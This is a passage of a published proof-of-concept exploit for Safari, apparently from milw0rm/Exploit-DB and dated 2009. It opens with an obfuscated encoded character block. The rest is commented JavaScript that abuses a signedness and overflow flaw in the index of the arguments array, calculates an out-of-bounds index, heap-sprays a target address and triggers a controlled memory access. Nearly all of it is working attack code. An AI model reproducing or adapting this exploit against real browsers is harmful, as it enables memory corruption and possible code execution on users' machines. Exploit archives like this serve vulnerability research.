Ã†Ã…                                                                                                                        Ã†Ã£gÃ„Ã„gÃ†                                                                                                                                                   Ã‘\
gÃ‚                                                                                                                       Ã†Ã‚Ã†ÃÃ†gÃ†Ã…                                                                                                                                                   N\
Mg                                                                                                                     Ã‚Ã†Ã…NNMÃ…Ã…#                                                                                                                                                    Ã†\
ÃÃ†                                                                                                                   Ã†Ã¦Ã‘gÃ‚Ã†Ã‰Ã‚ÃŸ##                                                                                                                                                    Ã„\
@Ã„                                                                                NÃ…Ã„Ã‚@NÃŸÃ„Ã†Ã†ÃŸ                      Ã†ÃŸgÃ„ÃœÃŠÃŸ@Ã…ÃœÃ‚Ã‚                                                                                                                                                     Ã‚\
Ã‹ÃŸ                                                                           Ã‘ÃœNÃ‚@Ã†Ã‚gÃ‰gÃ„Ã†Ã…g#ÃŸÃ‚Ã‚NÃœÃ†g           Ã‘Ã‚Ã˜Ã‚#Ã…ÃŸÃ…ÃŸÃŸ#Ã†ÃœÃ†ÃŸÃ†                                                                                                                                                      #\
ÃŸÃ„                                                                        #MÃ…ÃœÃ‚Ã‚gÃ…Ã†   NÃ†Ã„Ã†Ã…Ã†Ã†mÃŠÃ†Ã…Ã†Ã„ÃœÃ†ÃŸÃ…Ã†Ã˜Ã†Ã‰g#ÃŸÃ†MÃ„gÃ‹Ã…ÃœÃ‚Ã‚ÃœgMÃ„ÃŸg                                                                                                                                                       Ãœ\
#Ãœ                                                                      #MÃ…Ã…                Ã˜MÃ„NÃ‘ÃŸÃ˜Ã…Ã‰Ã…#ÃœÃ„ÃŸÃ‰g#Ã„#Ã†ÃÃŸÃŠg#Ã„Ã‚Ã†Ã‘Ã†Ã£                                                                                                                                                         Ã†\
Ã‹Ã†                                                                     gg                         Ã‚Ã†ÃŸgÃ…Ã†NÃ†Ã„ÃŸÃ‹Ã‚NÃ‚ÃŠÃŸÃœÃ†Ã‘gÃ„ÃŸM                                                                                                                                                           Ã‚\
@Ã†                                                                    Ã˜                               Ã†Ã…Ã†Ãg@Ã‚@ÃŸNÃ‚#Ã†Ã‰ÃŸ                                                                                                                                                               ÃŸ\
gÃ„                                                                                                                                                                                                                                                                                  Ã†\
ÃŸÃ…Ã‘Ã‚Ã˜Ã‚Ã‚#Ã‹Ã†Ã†Ã†ÃŸgÃ‚Ã‚Ã˜Ã†#Ã£M#g#Ã†Ã£Ã‹Ã†#Ã‚MÃ‚MÃ£Ã‹Ã†Ã„#MÃ‚Ã˜gÃ„#MÃ†Ã„Ã‚Ng#g@Ã†ÃœÃ†Ã‰gÃ„Ã‚Ã˜gÃ‚Ã‚NÃ†#Ã†ÃˆÃ†ÃgÃ‚Ã„Ã‘gÃ„Ã‚Ã˜Ã†#Ã‚Ã‰Ã‚Ã‰Ã‚Ã‰Ã‚NÃ†ÃŠÃ†ÃŸÃ†Ã‰Ã†NÃ‚Ã˜gÃ„Ã‚Ng@Ã†ÃŸg@Ã‚Ã˜Ã‚Ã‰Ã‚Ã‰Ã‚Ã‰#Ã‹Ã†Ã…gÃ†Ã†ÃÃ†ÃœÃ‚Ã˜Ã†Ã„Ã‚Ã‰#Ã‹Ã‚ÃŸÃ‚ÃŸÃ‚MÃ†#Ã‚Ã„#Ã‹#Ã£Ã…ÃŠ#Ã‘").replace(/./g,function(c){return" `'^*\\/|-_.swdibYPW,".indexOf(c)<0?(i++%2?'':'%')+(c.charCodeAt()&15).toString(16):''})))

  // The index for the "arguments" array in a JavaScript function in
  // Safari suffers from a signedness issue that allows access to elements
  // that are out of bounds. The index is cast to a signed value before it
  // is compared to the length of the array to check if it within the
  // bounds. Integer values larger than 0x8000,0000 will be cast to a
  // negative value and because they are always smaller then the length,
  // they are treated as a valid index.
  // The index into the arguments array ends up in instructions
  // that multiply it by 4 to access data in an array of 32 bit values.
  // There are no checks for overflows in this calculation. This allows us
  // to cause it to access anything in memory:
  //     Pointer to object = base address + 4 * index
  // The base address varies only slightly and is normally about
  // 0x7FEx,xxxx. If we create a heap chunk of 0x0100,0000 bytes at a
  // predictable location using heap spraying, we can then calculate an
  // index that will access this memory.
  var iBase = 0x7fe91e6c; // Random sample - value varies but not a lot.
  var iTargetArea = 0x10000000;
  // Be advised that heap spraying is "upside down" in Safari: strings
  // are allocated at high addresses first and as the heap grows, the
  // addresses go down. The heap will therefor grow in between a lot of
  // DLLs which reside in this area of the address space as well.
  // We'll need to find an area of memory to spray that is not likely to
  // contain a DLL and easy to reach.
  var iTargetAddress = 0x55555555;
  //     iTargetAddress(~0x5555,5555) = iBase(~0x7FEx,xxxx) + 4 * iIndex
  // 4 * iIndex = (iTargetAddress - iBase) (optionally + 0x1,0000,0000 because an integer overflow is needed)
  var iRequiredMultiplicationResult = iTargetAddress - iBase + (iTargetAddress < iBase ? 0x100000000 : 0) 
  // iIndex = (iTargetAddress - iBase) / 4
  var iIndex = Math.floor(iRequiredMultiplicationResult / 4)
  // We need to trigger the signedness issue so the index must be larger
  // then 0x8000,0000. Because of the integer overflow in the
  // multiplication, we can safely add 0x4000,0000 as often as we want;
  // the multiplication will remove it from the result.
  while (iIndex < 0x80000000) iIndex += 0x40000000
  document.getElementById("sploit status").innerHTML = (
   "iBase + 4 * iIndex = " +
   "0x" + iBase.toString(16, 8) + " + 4 * " + iIndex.toString(16, 8) + " = " +
   "0x" + (iBase + 4 * iIndex).toString(16, 8) + "<BR>"
  );
  // Set up heap spray
  var oHeapSpray = new HeapSpray2(iTargetAddress, DWORD(0xDEADBEEF))
  oHeapSpray.oOutputElement = document.getElementById("heapspray status")
  // Spray heap asynchronously and call sploit when done.
  oHeapSpray.spray(sploit)
  function sploit(oHeapSpray) {
   // This will cause an access violation using the value 0xDEADBEEF,
   // which comes from the strings we sprayed the heap with.
   // 6aa3d57f 8b4f0c          mov     ecx,dword ptr [edi+0Ch] ds:0023:deadbefb=????????
   arguments[iIndex];
  }
  function DWORD(iValue) {
   return String.fromCharCode(iValue & 0xFFFF, iValue >> 16)
  }
 </SCRIPT>
</BODY>

# milw0rm.com [2009-01-05] URL: https://www.exploit-db.com/exploits/7673